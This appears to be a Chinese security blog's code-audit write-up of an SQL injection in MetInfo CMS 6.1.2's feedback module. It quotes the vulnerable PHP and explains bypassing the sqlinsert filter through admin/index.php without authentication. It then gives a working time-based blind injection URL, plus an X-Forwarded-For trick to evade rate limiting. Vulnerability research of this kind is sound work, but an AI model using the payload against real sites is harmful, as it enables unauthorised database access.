[程式碼審計]Metinfo 6.1.2 SQL注入
0x01 前言
這個本來是也不想放出來的,因為metinfo這套cms畢竟使用人數還是挺多的,影響範圍也很廣。但是一位仁兄已經把另一個無條件的觸發點放出來了,那我這個稍微有點條件的藏著掖著也沒啥意思,不如好洞成雙,也給好久沒更的部落格除下草。
0x02 漏洞分析
漏洞檔案:\app\system\feedback\web\feedback.class.php
漏洞函式:add 75行
public function add($info) { global $_M; $query="select * from {$_M[table][config]} where name ='met_fd_ok' and columnid='{$_M[form][id]}' and lang='{$_M[form][lang]}'"; echo $query; $met_fd_ok=DB::get_one($query); $_M[config][met_fd_ok]=$met_fd_ok[value]; if(!$_M[config][met_fd_ok]){ okinfo(-1, $_M['word']['Feedback5']); } if($_M[config][met_memberlogin_code]){ if(!load::sys_class('pin', 'new')->check_pin($_M['form']['code']) ){ okinfo(-1, $_M['word']['membercode']); } } if($this->checkword() && $this->checktime()){ foreach ($_FILES as $key => $value) { if($value[tmp_name]){ $ret = $this->upfile->upload($key);//上傳檔案 if ($ret['error'] == 0) { $info[$key]=$ret[path]; } else { okinfo('javascript:history.back();',$_M[word][opfailed]); } } } $user = $this->get_login_user_info(); $fromurl= $_M['form']['referer'] ? $_M['form']['referer'] : HTTP_REFERER; $ip=getip(); $feedcfg=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}'and name='met_fd_class' and columnid ='{$_M[form][id]}'"); $_M[config][met_fd_class]=$feedcfg[value]; $fdclass2="para".$_M[config][met_fd_class]; $fdclass=$_M[form][$fdclass2]; $title=$fdclass." - ".$_M[form][fdtitle]; $addtime=date('Y-m-d H:i:s',time()); $met_fd_type=DB::get_one("select * from {$_M[table][config]} where lang ='{$_M[form][lang]}' andname= 'met_fd_type' and columnid = {$_M[form][id]}");
程式碼塊的最後一行可以看到 {$_M[form][id]} 沒有單引號保護,因為mysql也有和php類似的弱型別特性,所以 在id引數引號內拼接注入語句後不影響前面的語句的查詢結果:
——————
到程式碼塊的最後一行語句中失去了單引號保護,注入payload生效。
以為這樣就直接能注入了嗎? 怎麼可能!!!
在class檔案頭部可以看到feedback類繼承於web類,
class feedback extends web
跟進web類,沒有對使用者傳入的資料進行過濾等操作,卻初始化了common類
class web extends common
在common類初始化時呼叫了表單過濾的函式load_form()
class common { /** * 初始化 */ public function __construct() { global $_M;//全域性陣列$_M ob_start();//開啟快取 $this->load_mysql();//資料庫連線 $this->load_form();//表單過濾 $this->load_lang();//載入語言配置 $this->load_config_global();//載入全站配置資料 $this->load_url_site(); $this->load_config_lang();//載入當前語言配置資料 $this->load_url();//載入url資料 }
此函式中又呼叫了過濾SQL%E6%B3%A8%E5%85%A5/">SQL注入的函式sqlinsert
function sqlinsert($string){ if(is_array($string)){ foreach($string as $key => $val) { $string[$key] = sqlinsert($val); } }else{ $string_old = $string; $string = str_ireplace("\\","/",$string); $string = str_ireplace("\"","/",$string); $string = str_ireplace("'","/",$string); $string = str_ireplace("*","/",$string); $string = str_ireplace("%5C","/",$string); $string = str_ireplace("%22","/",$string); $string = str_ireplace("%27","/",$string); $string = str_ireplace("%2A","/",$string); $string = str_ireplace("~","/",$string); $string = str_ireplace("select", "\sel\ect", $string); $string = str_ireplace("insert", "\ins\ert", $string); $string = str_ireplace("update", "\up\date", $string); $string = str_ireplace("delete", "\de\lete", $string); $string = str_ireplace("union", "\un\ion", $string); $string = str_ireplace("into", "\in\to", $string); $string = str_ireplace("load_file", "\load\_\file", $string); $string = str_ireplace("outfile", "\out\file", $string); $string = str_ireplace("sleep", "\sle\ep", $string); $string = strip_tags($string); if($string_old!=$string){ $string=''; } $string = trim($string); } return $string; }
想繞過這層過濾是比較難的,那怎麼解決呢?
所謂大路不通走小路,我們獨闢蹊徑。
在load_form()中,是daddslashes()呼叫sqlinsert()過濾sql注入,既然sqliinsert()bypass不太ok,那就看能不能影響語句執行不呼叫此函式。
function daddslashes($string, $force = 0) { !defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc()); if(!MAGIC_QUOTES_GPC || $force) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = daddslashes($val, $force); } } else { if(!defined('IN_ADMIN')){ $string = trim(addslashes(sqlinsert($string))); }else{ $string = trim(addslashes($string)); } } } return $string; }
在函式的第二個判斷中如果defined(‘IN_ADMIN’)不為true就不會走到惡臭的sqlinsert函式,找一個將IN_ADMIN定義為true的php檔案就能解決問題。
在admin目錄index檔案第一行就是把IN_ADMIN定義為true,我們還可以通過此檔案動態呼叫存在漏洞的函式,最最重要的無需任何許可權就OK
<?php define('IN_ADMIN', true); $M_MODULE='admin'; if(@$_GET['m'])$M_MODULE=$_GET['m']; if(@!$_GET['n'])$_GET['n']="index"; if(@!$_GET['c'])$_GET['c']="index"; if(@!$_GET['a'])$_GET['a']="doindex"; @define('M_NAME', $_GET['n']); @define('M_MODULE', $M_MODULE); @define('M_CLASS', $_GET['c']); @define('M_ACTION', $_GET['a']); require_once '../app/system/entrance.php'; ?>
那麼最終payload為:
http://localhost/admin/index.php?m=web&n=feedback&c=feedback&a=dofeedback&action=add&lang=cn&id=44%20and%20sleep(1)¶141=%E5%95%86%E5%8A%A1%E5%90%88%E4%BD%9C
這裡還有一個點就是程式會根據IP來限制只能120秒提交一次反饋,用xff頭繞過就可以,具體判斷程式碼就不貼出來了
那麼這個洞相比另一個雞肋在哪呢? 在判斷驗證碼是否正確的上下區間。。 另一個洞是在注入點後判斷驗證碼是否正確,這就可以無視掉驗證碼,但這個洞是在注入點之前。
這就很難受
管理員在後臺關閉提交驗證碼的條件下才能用指令碼注入。
當然,開啟的情況下也能注入,就是得每次手動提交驗證碼,在只能盲注的情況下實在比較尷尬。
還有finecms一個洞本來說上個月更的。
沒錯
我又鴿了
過兩天。